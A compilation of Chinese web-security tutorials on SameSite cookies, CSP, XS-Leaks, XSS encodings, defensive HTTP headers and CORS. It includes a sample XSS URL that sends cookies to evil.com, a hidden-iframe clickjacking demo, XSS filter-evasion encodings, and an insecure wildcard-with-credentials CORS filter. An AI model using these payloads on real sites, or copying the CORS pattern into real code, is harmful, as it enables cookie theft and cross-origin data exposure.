Cookie的 Samesite屬性用來限制第三方 Cookie，從而減少安全風險。它可以設(shè)置個值 Strict 、 Lax、 None
Strict最為嚴格，完全禁止第三方 Cookie，跨站點時，任何情況下都不會發(fā)送Cookie。換言之，只有當前網(wǎng)頁的URL與請求目標—致，才會帶上 Cookie。
Set-Cookie:CookieName=CookieValue:SameSite=Strict;
這個規(guī)則過于嚴格，可能造成非常不好的用戶體驗。比如，當前網(wǎng)頁有一個 GitHub鏈接，用戶點擊跳轉(zhuǎn)就不會帶有 GitHub的 Cookie，跳轉(zhuǎn)過去總是未登陸狀態(tài)。
Lax規(guī)則稍稍放寬，大多數(shù)情況也是不發(fā)送第三方 Cookie，但是導航到目標網(wǎng)址的Get請求除外。
Set-Cookie:CookieName=CookieValue;SameSite=Lax
導航到目標網(wǎng)址的GET請求，只包括三種情況：鏈接，預(yù)加載請求，GET表單。詳見下表。
Chrome計劃將Lax變?yōu)槟J設(shè)置。這時，網(wǎng)站可以選擇顯式關(guān)閉 SameSite屬性將其設(shè)為None。不過，前提是必須同時設(shè)置 Secure屬性（ Cookie只能通過 Https協(xié)議發(fā)送），否則無效。
下面的設(shè)置無效:
Set-Cookie:widget_session=abc123;SameSite=None
下面的設(shè)置有效:
Set-Cookie:widget_session=abc123;SameSite=None;Secure
CSP全稱為 Content Security Policy，即內(nèi)容安全策略。主要以白名單的形式配置可信任的內(nèi)容來源，在網(wǎng)頁中，能夠使白名單中的內(nèi)容正常執(zhí)行（包含JS，CSS，Image等等），而非白名單的內(nèi)容無法正常執(zhí)行，從而減少跨站腳本攻擊（XSS），當然，也能夠減少運營商劫持的內(nèi)容注入攻擊。
為使CSP可用，你需要配置你的網(wǎng)絡(luò)服務(wù)器返回Content-Security-Policy HTTP頭部（有時你會看到一些關(guān)于X-Content-Security-Policy頭部的提法，那是舊版本，你無須再如此指定它）
除此之外，<meta>元素也可以被用來配置該策略，例如
CSP旨在減少（注意這里是減少而不是消滅）跨站腳本攻擊。CSP是一種由開發(fā)者定義的安全性政策性申明，通過CSP所約束的的規(guī)責指定可信的內(nèi)容來源（這里的內(nèi)容可以指腳本、圖片、 iframe、font、 style等等可能的遠程的資源）。通過CSP協(xié)定，讓WEB處于—個相對安全的運行環(huán)境中。
無論是反射型/存儲型XSS都因為其 payload富于變化而難以被徹底根除。
而目前通過對輸入輸出的檢測瀏覽器自身的 filter 對反射型XSS有了一定的檢測能力，但是對于存儲型XSS仍然缺乏一個有效通用解決方案。
內(nèi)容安全策略（csp）將在未來的XSS防御中扮演著日漸重要的角色。 但是由于瀏覽器的支持，XSS的環(huán)境復(fù)雜多變等問題，仍然會存在很多Bypass的方法。
跨站腳本泄漏（ Cross-Stie Leaks，又稱XS- Leaks/ XSLeaks），是一類利用Web平臺內(nèi)置的側(cè)信道衍生出來的漏洞。其原理是利用網(wǎng)絡(luò)上的這種側(cè)信道來揭示用戶的敏感信息，如用戶在其他網(wǎng)絡(luò)應(yīng)用中的數(shù)據(jù)、用戶本地環(huán)境信息，或者是用戶所連接的內(nèi)部網(wǎng)絡(luò)信息等。
瀏覽器提供了各種各樣的功能來支持不同Web應(yīng)用程序之間的互動；例如，瀏覽器允許一個網(wǎng)站加載子資源、導航或向另一個應(yīng)用程序發(fā)送消息。雖然這些行為通常受到網(wǎng)絡(luò)平臺的安全機制的限制（例如同源政策），但XS- Leaks利用了網(wǎng)站之間互動過程中的各種行為來泄露用戶信息。
既然是側(cè)信道，那么這個信道從何而來呢？通常來說，這個信道需要結(jié)合題目設(shè)置的各種功能或者瀏覽器的某些特性，而往往這些功能或者特性對用戶的返回只有兩種回答，也就是類似SQL注入中布爾盲注攻擊一樣，只不過他放到了瀏覽器以及Web應(yīng)用當中。舉個簡單例子，有這么一個搜索功能，對于用戶搜索的內(nèi)容如果存在，則返回200碼，否則返回其他非200狀態(tài)碼響應(yīng)，我們就可以從頭挨個通過Web服務(wù)返回的狀態(tài)碼來判斷自己傳遞的是否正確進而泄露Web服務(wù)當中的內(nèi)容，于是我們還可以使用 onload等事件進一步進行自動化泄露。再舉個小例子，在沒有正確設(shè)置 SameSite的情況下，如果存在一些Web應(yīng)用對于用戶沒有登錄返回403，登錄狀態(tài)返回200，則可以一些跨域標簽，比如 script可以依照這兩種狀態(tài)來判斷用戶是否登錄。
XS-Leaks并不是說可以直接造成什么危害巨大的漏洞，它更側(cè)重于Leak，側(cè)重于信息泄露方面。并且造成大多數(shù)XS-Leaks的根本原因是網(wǎng)絡(luò)設(shè)計上的問題，很多時候，web服務(wù)在沒有漏洞的情況下就容易受到些信息泄露的影響。但是在瀏覽器層面修復(fù)XS-Leaks也是及其困難的，因為在許多情況下，會影響到很多現(xiàn)有的Web服務(wù)，會對原有的Web服務(wù)造成巨大的沖擊。所以，要防御該類型的漏洞，通常是要使用各種嚴格的同源限制，才能達到預(yù)期效果。
js編碼
HTML實體編碼
URL編碼
String.fromCharCode編碼
在線xss轉(zhuǎn)碼：https://www.toolmao.com/xsstranser
JS提供了四種字符編碼的策略，
三個八進制數(shù)字，如果數(shù)字不夠，在前面補零，如a的編碼為1
兩個十六進制數(shù)字，如果數(shù)字不夠，在前面補零，如a的編碼為\x61
四個十六進制數(shù)字，如果數(shù)字不夠，在前面補零，如a的編碼為\u0061
對于一些控制字符，使用特殊的C類型的轉(zhuǎn)義風格，如\n和\r
以&開頭，以分號結(jié)尾的，如<的編碼為&1t;
十進制，十六進制的ASCII碼或者Unicode字符編碼。樣式為&#數(shù)值;
如<的編碼為
<(10進制)
<(16進制)
這里為url全編碼，也就是兩次url編碼
如alert的url全編碼為%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34
如alert的編碼為String.fromCharCode(97,108,101,114,116)
輸入是否僅僅包含合法的字符
輸入字符串是否超過最大長度的限制
輸入如果為數(shù)字，數(shù)字是否在指定的范圍內(nèi)
輸入是否符合特定的格式要求，如郵箱、電話號碼、ip地址等
2、數(shù)據(jù)消毒
除了在客戶端驗證數(shù)據(jù)的合法性，輸入過濾中最重要的還是過濾和凈化有害的輸入，例如如下常見的敏感字符：
||<> ’ "&# javascript expression
對輸出的數(shù)據(jù)進行編碼，如HTML編碼，就是讓可能造成危害的信息變成無害。
兩點注意點：
2021最新整理網(wǎng)絡(luò)安全/滲透測試/安全學習/100份src技術(shù)文檔（全套視頻、大廠面經(jīng)、精品手冊、必備工具包、路線）一>關(guān)注我，私信回復(fù)"資料"獲取<一
微軟開發(fā)的，.Net平臺下的，用于方式XSS攻擊的類庫，它提供了大量的編碼函數(shù)來對用戶輸入的數(shù)據(jù)進行編碼，可以實現(xiàn)基于白名單的輸入的過濾和輸出編碼。
當Cookie在消息頭中被設(shè)置為HttpOnly時，這樣支持Cookie的瀏覽器將阻止客戶端Javascript直接訪問瀏覽器中的cookies，從而達到保護敏感數(shù)據(jù)的作用。
Noscript是一款免費的開源插件，該插件默認禁止所有腳本，但可以自定義設(shè)置允許通過的腳本。
使用WAF，比如軟WAF，硬WAF、云WAF等。
文地址：How To Secure Your Web App With HTTP Headers
原文作者：Hagay Lupesko
眾所周知，無論是簡單的小網(wǎng)頁還是復(fù)雜的單頁應(yīng)用，Web 應(yīng)用都是網(wǎng)絡(luò)攻擊的目標。2016 年，這種最主要的攻擊模式 —— 攻擊 web 應(yīng)用，造成了大約 40% 的數(shù)據(jù)泄露。事實上，現(xiàn)在來說，了解網(wǎng)絡(luò)安全并不是錦上添花，而是 Web 開發(fā)者的必需任務(wù)，特別對于構(gòu)建面向消費者的產(chǎn)品的開發(fā)人員。
開發(fā)者可以利用 HTTP 響應(yīng)頭來加強 Web 應(yīng)用程序的安全性，通常只需要添加幾行代碼即可。本文將介紹 web 開發(fā)者如何利用 HTTP Headers 來構(gòu)建安全的應(yīng)用。雖然本文的示例代碼是 Node.js，但基本所有主流的服務(wù)端語言都支持設(shè)置 HTTP 響應(yīng)頭，并且都可以簡單地對其進行配置。
技術(shù)上來說，HTTP 頭只是簡單的字段，以明文形式編碼，它是 HTTP 請求和響應(yīng)消息頭的一部分。它們旨在使客戶端和服務(wù)端都能夠發(fā)送和接受有關(guān)要建立的連接、所請求的資源，以及返回的資源本身的元數(shù)據(jù)。
可以簡單地使用 cURL --head 來檢查純文本 HTTP 響應(yīng)頭，例如：
$ curl --head https://www.google.com
HTTP/1.1 200 OK
Date: Thu, 05 Jan 2017 08:20:29 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=ISO-8859-1
Transfer-Encoding: chunked
Accept-Ranges: none
Vary: Accept-Encoding
…復(fù)制代碼現(xiàn)在，數(shù)百種響應(yīng)頭正在被 web 應(yīng)用所使用，其中一部分由互聯(lián)網(wǎng)工程任務(wù)組（IETF）標準化。IETF 是一個開放性組織，今天我們所熟知的許多 web 標準和專利都是由他們推進的。HTTP 頭提供了一種靈活可擴展的機制，造就了現(xiàn)今的網(wǎng)絡(luò)各種豐富多變的用例。
緩存是優(yōu)化客戶端-服務(wù)端架構(gòu)性能中有效的技術(shù)，HTTP 也不例外，同樣廣泛利用了緩存技術(shù)。但是，在緩存的資源是保密的情況下，緩存可能導致漏洞，所以必須避免。假設(shè)一個 web 應(yīng)用對含有敏感信息的網(wǎng)頁進行緩存，并且是在一臺公用的 PC 上使用，任何人可以通過訪問瀏覽器的緩存看到這個 web 應(yīng)用上的敏感信息，甚至有時僅僅通過點擊瀏覽器的返回按鈕就可以看到。
IETF RFC 7234 中定義了 HTTP 緩存，指定 HTTP 客戶端（瀏覽器以及網(wǎng)絡(luò)代理）的默認行為：除非另行指定，否則始終緩存對 HTTP GET 請求的響應(yīng)。雖然這樣可以使 HTTP 提升性能減少網(wǎng)絡(luò)擁塞，但如上所述，它也有可能使終端用戶個人信息被盜。好消息是，HTTP 規(guī)范還定義了一種非常簡單的方式來指示客戶端對特定響應(yīng)不進行緩存，通過使用 —— 對，你猜到了 —— HTTP 響應(yīng)頭。
當你準備返回敏感信息并希望禁用 HTTP 客戶端的緩存時，有三個響應(yīng)頭可以返回：
從 HTTP 1.1 引入的此響應(yīng)頭可能包含一個或多個指令，每個指令帶有特定的緩存語義，指示 HTTP 客戶端和代理如何處理有此響應(yīng)頭注釋的響應(yīng)。我推薦如下指定響應(yīng)頭，cache-control: no-cache, no-store, must-revalidate。這三個指令基本上可以指示客戶端和中間代理不可使用之前緩存的響應(yīng)，不可存儲響應(yīng)，甚至就算響應(yīng)被緩存，也必須從源服務(wù)器上重新驗證。
為了向后兼容 HTTP 1.0，你還需要包含此響應(yīng)頭。有部分客戶端，特別是中間代理，可能仍然沒有完全支持 HTTP 1.1，所以不能正確處理前面提到的 Cache-Control 響應(yīng)頭，因此使用 Pragma: no-cache 確保較舊的客戶端不緩存你的響應(yīng)。
此響應(yīng)頭指定了該響應(yīng)過期的時間戳。如果不指定為未來某個真實時間而指定為 -1，可以保證客戶端立即將此響應(yīng)視為過期并避免緩存。
需要注意的是，禁用緩存提高安全性及保護機密資源的同時，也的確會帶來性能上的折損。所以確保僅對實際需要保密性的資源禁用緩存，而不是對服務(wù)器的任何響應(yīng)禁用。想要更深入了解 web 資源緩存的最佳實踐，我推薦閱讀 Jake Archibald 的文章。
下面是 Node.js 中設(shè)置響應(yīng)頭的示例代碼：
function requestHandler(req, res) {
res.setHeader('Cache-Control','no-cache,no-store,max-age=0,must-revalidate');
res.setHeader('Pragma','no-cache');
res.setHeader('Expires','-1');
}復(fù)制代碼今天，HTTPS 的重要性已經(jīng)得到了技術(shù)界的廣泛認可。越來越多的 web 應(yīng)用配置了安全端點，并將不安全網(wǎng)路重定向到安全端點（即 HTTP 重定向至 HTTPS）。不幸的是，終端用戶還未完全理解 HTTPS 的重要性，這種缺乏理解使他們面臨著各種中間人攻擊（MitM）。普通用戶訪問到一個 web 應(yīng)用時，并不會注意到正在使用的網(wǎng)絡(luò)協(xié)議是安全的（HTTPS）還是不安全的（HTTP）。甚至，當瀏覽器出現(xiàn)了證書錯誤或警告時，很多用戶會直接點擊略過警告。
與 web 應(yīng)用進行交互時，通過有效的 HTTPS 連接是非常重要的：不安全的連接將會使得用戶暴露在各種攻擊之下，這可能導致 cookie 被盜甚至更糟。舉個例子，攻擊者可以在公共 Wi-Fi 網(wǎng)絡(luò)下輕易騙取網(wǎng)絡(luò)幀并提取那些不使用 HTTPS 的用戶的會話 cookie。更糟的情況是，即使用戶通過安全連接與 web 應(yīng)用進行交互也可能遭受降級攻擊，這種攻擊試圖強制將連接降級到不安全的連接，從而使用戶受到中間人攻擊。
我們?nèi)绾螏椭脩舯苊膺@些攻擊，并更好地推行 HTTPS 的使用呢？使用 HTTP 嚴格傳輸安全頭（HSTS）。簡單來說，HSTS 確保與源主機間的所有通信都使用 HTTPS。RFC 6797 中說明了，HSTS 可以使 web 應(yīng)用程序指示瀏覽器僅允許與源主機之間的 HTTPS 連接，將所有不安全的連接內(nèi)部重定向到安全連接，并自動將所有不安全的資源請求升級為安全請求。
HSTS 的指令如下：
此項指示瀏覽器對此域緩存此響應(yīng)頭指定的秒數(shù)。這樣可以保證長時間的加固安全。
此項指示瀏覽器對當前域的所有子域應(yīng)用 HSTS，這可以用于所有當前和未來可能的子域。
這是一個強大的指令，強制瀏覽器始終安全加載你的 web 應(yīng)用程序，即使是第一次收到響應(yīng)之前加載！這是通過將啟用 HSTS 預(yù)加載域的列表硬編碼到瀏覽器的代碼中實現(xiàn)的。要啟用預(yù)加載功能，你需要在 Google Chrome 團隊維護的網(wǎng)站 HSTS 預(yù)加載列表提交注冊你的域。
注意謹慎使用 preload，因為這意味著它不能輕易撤銷，并可能更新延遲數(shù)個月。雖然預(yù)加載肯定會加強應(yīng)用程序的安全性，但也意味著你需要充分確信你的應(yīng)用程序僅支持 HTTPS！
我建議的用法是 Strict-Transport-Security: max-age=31536000; includeSubDomains;，這樣指示了瀏覽器強制通過 HTTPS 連接到源主機并且有效期為一年。如果你對你的 app 僅處理 HTTPS 很有信心，我也推薦加上 preload 指令，當然別忘記去前面提到的預(yù)加載列表注冊你的網(wǎng)站。
以下是在 Nodes.js 中實現(xiàn) HSTS 的方法：
function requestHandler(req, res){
res.setHeader('Strict-Transport-Security','max-age=31536000; includeSubDomains; preload');
}復(fù)制代碼在反射型跨站腳本攻擊（reflected XSS）中，攻擊者將惡意 JavaScript 代碼注入到 HTTP 請求，注入的代碼「映射」到響應(yīng)中，并由瀏覽器執(zhí)行，從而使惡意代碼在可信任的上下文中執(zhí)行，訪問諸如會話 cookie 中的潛在機密信息。不幸的是，XSS 是一個很常見的網(wǎng)絡(luò)應(yīng)用攻擊，且令人驚訝地有效！
為了了解反射型 XSS 攻擊，參考以下 Node.js 代碼，渲染 mywebapp.com，模擬一個簡單的 web 應(yīng)用程序，它將搜索結(jié)果以及用戶請求的搜索關(guān)鍵詞一起呈現(xiàn)：
function handleRequest(req, res) {
res.writeHead(200);
// Get the search term
const parsedUrl=require('url').parse(req.url);
const searchTerm=decodeURI(parsedUrl.query);
const resultSet=search(searchTerm);
// Render the document
res.end(
"<html>" +
"<body>" +
"<p>You searched for: " + searchTerm + "</p>" +
// Search results rendering goes here…
"</body>" +
"</html>");
};復(fù)制代碼現(xiàn)在，來考慮一下上面的 web 應(yīng)用程序會如何處理在 URL 中嵌入的惡意可執(zhí)行代碼，例如：
https://mywebapp.com/search?</p><script>window.location=“http://evil.com?cookie=”+document.cookie</script>復(fù)制代碼你可能意識到了，這個 URL 會讓瀏覽器執(zhí)行注入的腳本，并發(fā)送極有可能包含機密會話的用戶 cookies 到 evil.com。
為了保護用戶抵抗反射型 XSS 攻擊，有些瀏覽器實施了保護機制。這些保護機制嘗試通過在 HTTP 請求和響應(yīng)中尋找匹配的代碼模式來辨識這些攻擊。Internet Explorer 是第一個推出這種機制的，在 2008 年的 IE 8 中引入了 XSS 過濾器的機制，而 WebKit 后來推出了 XSS 審計，現(xiàn)今在 Chrome 和 Safari 上可用（Firefox 沒有內(nèi)置類似的機制，但是用戶可以使用插件來獲得此功能）。這些保護機制并不完美，它們可能無法檢測到真正的 XSS 攻擊（漏報），在其他情況可能會阻止合法代碼（誤判）。由于后一種情況的出現(xiàn)，瀏覽器允許用戶可設(shè)置禁用 XSS 過濾功能。不幸的是，這通常是一個全局設(shè)置，這會完全關(guān)閉所有瀏覽器加載的 web 應(yīng)用程序的安全功能。
幸運的是，有方法可以讓 web 應(yīng)用覆蓋此配置，并確保瀏覽器加載的 web 應(yīng)用已打開 XSS 過濾器。即通過設(shè)定 X-XSS-Protection 響應(yīng)頭實現(xiàn)。此響應(yīng)頭支持 Internet Explorer（IE8 以上）、Edge、Chrome 和 Safari，指示瀏覽器打開或關(guān)閉內(nèi)置的保護機制，及覆蓋瀏覽器的本地配置。
X-XSS-Protection 指令包括:
使用或禁用 XSS 過濾器。
當檢測到 XSS 攻擊時，這會指示瀏覽器不渲染整個頁面。
我建議永遠打開 XSS 過濾器以及 block 模式，以求最大化保護用戶。這樣的響應(yīng)頭應(yīng)該是這樣的：
X-XSS-Protection: 1; mode=block復(fù)制代碼以下是在 Node.js 中配置此響應(yīng)頭的方法:
function requestHandler(req, res){
res.setHeader('X-XSS-Protection','1;mode=block');}復(fù)制代碼iframe （正式來說，是 HTML 內(nèi)聯(lián)框架元素）是一個 DOM 元素，它允許一個 web 應(yīng)用嵌套在另一個 web 應(yīng)用中。這個強大的元素有部分重要的使用場景，比如在 web 應(yīng)用中嵌入第三方內(nèi)容，但它也有重大的缺點，例如對 SEO 不友好，對瀏覽器導航跳轉(zhuǎn)也不友好等等。
其中一個需要注意的事是它使得點擊劫持變得更加容易。點擊劫持是一種誘使用戶點擊并非他們想要點擊的目標的攻擊。要理解一個簡單的劫持實現(xiàn)，參考以下 HTML，當用戶認為他們點擊可以獲得獎品時，實際上是試圖欺騙用戶購買面包機。
<html>
<body>
<button class='some-class'>Win a Prize!</button>
<iframe class='some-class' style='opacity: 0;’ src='http://buy.com?buy=toaster'></iframe>
</body>
</html>復(fù)制代碼有許多惡意應(yīng)用程序都采用了點擊劫持，例如誘導用戶點贊，在線購買商品，甚至提交機密信息。惡意 web 應(yīng)用程序可以通過在其惡意應(yīng)用中嵌入合法的 web 應(yīng)用來利用 iframe 進行點擊劫持，這可以通過設(shè)置 opacity: 0 的 CSS 規(guī)則將其隱藏，并將 iframe 的點擊目標直接放置在看起來無辜的按鈕之上。點擊了這個無害按鈕的用戶會直接點擊在嵌入的 web 應(yīng)用上，并不知道點擊后的后果。
阻止這種攻擊的一種有效的方法是限制你的 web 應(yīng)用被框架化。在 RFC 7034 中引入的 X-Frame-Options，就是設(shè)計用來做這件事的。此響應(yīng)頭指示瀏覽器對你的 web 應(yīng)用是否可以被嵌入另一個網(wǎng)頁進行限制，從而阻止惡意網(wǎng)頁欺騙用戶調(diào)用你的應(yīng)用程序進行各項操作。你可以使用 DENY 完全屏蔽，或者使用 ALLOW-FROM 指令將特定域列入白名單，也可以使用 SAMEORIGIN 指令將應(yīng)用的源地址列入白名單。
我的建議是使用 SAMEORIGIN 指令，因為它允許 iframe 被同域的應(yīng)用程序所使用，這有時是有用的。以下是響應(yīng)頭的示例：
X-Frame-Options: SAMEORIGIN復(fù)制代碼以下是在 Node.js 中設(shè)置此響應(yīng)頭的示例代碼：
function requestHandler(req, res){
res.setHeader('X-Frame-Options','SAMEORIGIN');}復(fù)制代碼如前所述，你可以通過啟用瀏覽器的 XSS 過濾器，給你的 web 應(yīng)用程序增強安全性。然而請注意，這種機制是有局限性的，不是所有瀏覽器都支持（例如 Firefox 就不支持 XSS 過濾），并且依賴的模式匹配技術(shù)可以被欺騙。
對抗 XSS 和其他攻擊的另一層的保護，可以通過明確列出可信來源和操作來實現(xiàn) —— 這就是內(nèi)容安全策略（CSP）。
CSP 是一種 W3C 規(guī)范，它定義了強大的基于瀏覽器的安全機制，可以對 web 應(yīng)用中的資源加載以及腳本執(zhí)行進行精細的控制。使用 CSP 可以將特定的域加入白名單進行腳本加載、AJAX 調(diào)用、圖像加載和樣式加載等操作。你可以啟用或禁用內(nèi)聯(lián)腳本或動態(tài)腳本（臭名昭著的 eval），并通過將特定域列入白名單來控制框架化。CSP 的另一個很酷的功能是它允許配置實時報告目標，以便實時監(jiān)控應(yīng)用程序進行 CSP 阻止操作。
這種對資源加載和腳本執(zhí)行的明確的白名單提供了很強的安全性，在很多情況下都可以防范攻擊。例如，使用 CSP 禁止內(nèi)聯(lián)腳本，你可以防范很多反射型 XSS 攻擊，因為它們依賴于將內(nèi)聯(lián)腳本注入到 DOM。
CSP 是一個相對復(fù)雜的響應(yīng)頭，它有很多種指令，在這里我不詳細展開了，可以參考 HTML5 Rocks 里一篇很棒的教程，其中提供了 CSP 的概述，我非常推薦閱讀它來學習如何在你的 web 應(yīng)用中使用 CSP。
以下是一個設(shè)置 CSP 的示例代碼，它僅允許從應(yīng)用程序的源域加載腳本，并阻止動態(tài)腳本的執(zhí)行（eval）以及內(nèi)嵌腳本（當然，還是 Node.js):
function requestHandler(req, res){
res.setHeader('Content-Security-Policy',"script-src 'self'");}復(fù)制代碼為了使用戶體驗盡可能無縫，許多瀏覽器實現(xiàn)了一個功能叫內(nèi)容類型嗅探，或者 MIME 嗅探。這個功能使得瀏覽器可以通過「嗅探」實際 HTTP 響應(yīng)的資源的內(nèi)容直接檢測到資源的類型，無視響應(yīng)頭中 Content-Type 指定的資源類型。雖然這個功能在某些情況下確實是有用的，它引入了一個漏洞以及一種叫 MIME 類型混淆攻擊的攻擊手法。MIME 嗅探漏洞使攻擊者可以注入惡意資源，例如惡意腳本，偽裝成一個無害的資源，例如一張圖片。通過 MIME 嗅探，瀏覽器將忽略聲明的圖像內(nèi)容類型，它不會渲染圖片，而是執(zhí)行惡意腳本。
幸運的是，X-Content-Type-Options 響應(yīng)頭緩解了這個漏洞。此響應(yīng)頭在 2008 年引入 IE8，目前大多數(shù)主流瀏覽器都支持（Safari 是唯一不支持的主流瀏覽器），它指示瀏覽器在處理獲取的資源時不使用嗅探。因為 X-Content-Type-Options 僅在 「Fetch」規(guī)范中正式指定，實際的實現(xiàn)因瀏覽器而異。一部分瀏覽器（IE 和 Edge）完全阻止了 MIME 嗅探，而其他一些（Firefox）仍然會進行 MIME 嗅探，但會屏蔽掉可執(zhí)行的資源（JavaScript 和 CSS）如果聲明的內(nèi)容類型與實際的類型不一致。后者符合最新的 Fetch 規(guī)范。
X-Content-Type-Options 是一個很簡單的響應(yīng)頭，它只有一個指令，nosniff。它是這樣指定的：X-Content-Type-Options: nosniff。以下是示例代碼：
function requestHandler(req, res){
res.setHeader('X-Content-Type-Options','nosniff');}復(fù)制代碼本文中，我們了解了如何利用 HTTP 響應(yīng)頭來加強 web 應(yīng)用的安全性，防止攻擊和減輕漏洞。
請記住，為了使 web 真正迷人，它必須是安全的。利用 HTTP 響應(yīng)頭構(gòu)建更加安全的網(wǎng)頁吧！
寫在最前】
我們在平時的編程學習中，經(jīng)常會接觸到“ajax跨域”這個概念；
但是很多小白只知其然，不知其所以然，甚至是在查閱了很多資料之后仍然是云山霧罩。
通過本文知識，讓我們花5分鐘時間徹底搞懂它，相信聰明的你，看完一定會有收獲！
跨域問題來源于瀏覽器的“同源策略”(Same-origin policy)，即瀏覽器為了安全，會對“不同源”的網(wǎng)頁請求做出如下限制：
1）不能訪問對方的數(shù)據(jù)（cookies、LocalStorage和IndexDB）
2）不能訪問對方的DOM
3）不能向?qū)Ψ桨l(fā)送AJAX請求
同源的定義：
“協(xié)議+域名+端口” 三者必須完全一致才算同源，否則就屬于“不同源”。
假設(shè)： http://www.example.com:8000/test.html
那么：
* http://www.example.com:8000/test2.html 屬于同源
* https://www.example.com:8000/test.html 屬于不同源（因為協(xié)議不同）
* http://www.example.cn:8000/test.html 屬于不同源（因為域名不同）
* http://www.example.com:8001/test.html 屬于不同源（因為端口不同）
“同源策略”是瀏覽器安全的基石，主要目的是為了保護用戶數(shù)據(jù)安全。
假設(shè)一下，如果沒有同源策略，當瀏覽器在訪問一個銀行網(wǎng)站的同時還在訪問另一個網(wǎng)站B，如果銀行網(wǎng)站把session保存在cookies中，而B又能隨便讀取cookie數(shù)據(jù)，那么B站用戶就可以冒充銀行用戶在銀行網(wǎng)站為所欲為了。
同源策略的限制是必需的，但是有時合理正常的使用也受影響，很不方便。
比如：一個大網(wǎng)站有很多子域名的情況，這些子域名之間的數(shù)據(jù)通信也會因此策略而不能正常交互。
常見報錯信息如下：
No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://www.xxx.com' is therefore not allowed access.
常用解決方案：
方案1：CORS 跨源資源共享（Cross-Origin Resource Sharing）（推薦）
CORS是W3C標準，也是解決AJAX跨域請求的標準解決方法。其實從AJAX跨域請求返回的錯誤信息里，已經(jīng)暗示了服務(wù)器端沒有配置支持跨源資源共享。
CORS需要瀏覽器和服務(wù)器同時支持。目前，所有現(xiàn)代瀏覽器都支持該功能，IE瀏覽器需要IE9+。
整個CORS通信過程，都是瀏覽器自動完成，不需要用戶人工參與。
具體流程如下：
1）瀏覽器發(fā)現(xiàn)本次請求是AJAX跨源請求，就會在請求頭中自動添加： Origin: http://www.xxx.com ，表明本次請求來自哪個源（協(xié)議 + 域名 + 端口）
2）服務(wù)器根據(jù)請求頭中的 Origin 值，決定是否同意這次請求。
a)如果 Origin不在許可范圍內(nèi)，服務(wù)器會返回一個正常的HTTP回應(yīng)。
當瀏覽器發(fā)現(xiàn)回應(yīng)頭中沒有包含Access-Control-Allow-Origin字段時，則會拋出一個錯誤，被XMLHttpRequest的onerror回調(diào)函數(shù)捕獲。
特別注意:這種錯誤無法通過HTTP狀態(tài)碼(status code)識別，因為HTTP回應(yīng)的狀態(tài)碼是正常的200。
b)如果Origin 在許可返回，則服務(wù)器會在響應(yīng)頭中下發(fā) Access-Control-Allow-Origin: http://www.xxx.com，此時雙方即可正常通信
服務(wù)器端，一般都是用全局過濾器來處理跨域請求，從而實現(xiàn)“對業(yè)務(wù)代碼零侵入”
以java 語言為例：
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
response.setHeader("Access-Control-Allow-Origin", "*");
response.setHeader("Access-Control-Allow-Headers", "*");
response.setHeader("Access-Control-Allow-Credentials", "true");
filterChain.doFilter(servletRequest, response);
return;
}
方案2：架設(shè)代理服務(wù)器
原理：把發(fā)往其他域的請求，發(fā)給自己的代理服務(wù)器，代理服務(wù)器完成請求后，將響應(yīng)數(shù)據(jù)返回給原始請求，本質(zhì)是繞開了瀏覽器的“同源策略”
一個 nginx 代理服務(wù)器的配置例子：
server {
listen 8001;
location / {
root "D:/programs/Tomcat 8.5/webapps/ROOT";
}
location ^~ /HelloWorld {
proxy_pass http://test2.kuayutest.com:8080;
}
}
方案3: 關(guān)閉瀏覽器的同源策略
既然是本地瀏覽器的策略，那么我禁掉策略就好啦
特別注意：這種方案僅僅適用于本地臨時調(diào)試，且各瀏覽器設(shè)置方法不同
以Chrome瀏覽器為例說明：
啟動Chorme時添加如下參數(shù)：
chrome --disable-web-security --user-data-dir
另外，還有 WebSocket、JSONP（只支持GET請求） 等方案，對業(yè)務(wù)代碼侵入性都很大，性價比不高，所以此處均一筆帶過，不再詳細介紹。
【全文完】
十年技術(shù)沉淀，只做原創(chuàng)文章；
及時關(guān)注作者，成就大牛之路！
*請認真填寫需求信息，我們會在24小時內(nèi)與您取得聯(lián)系。
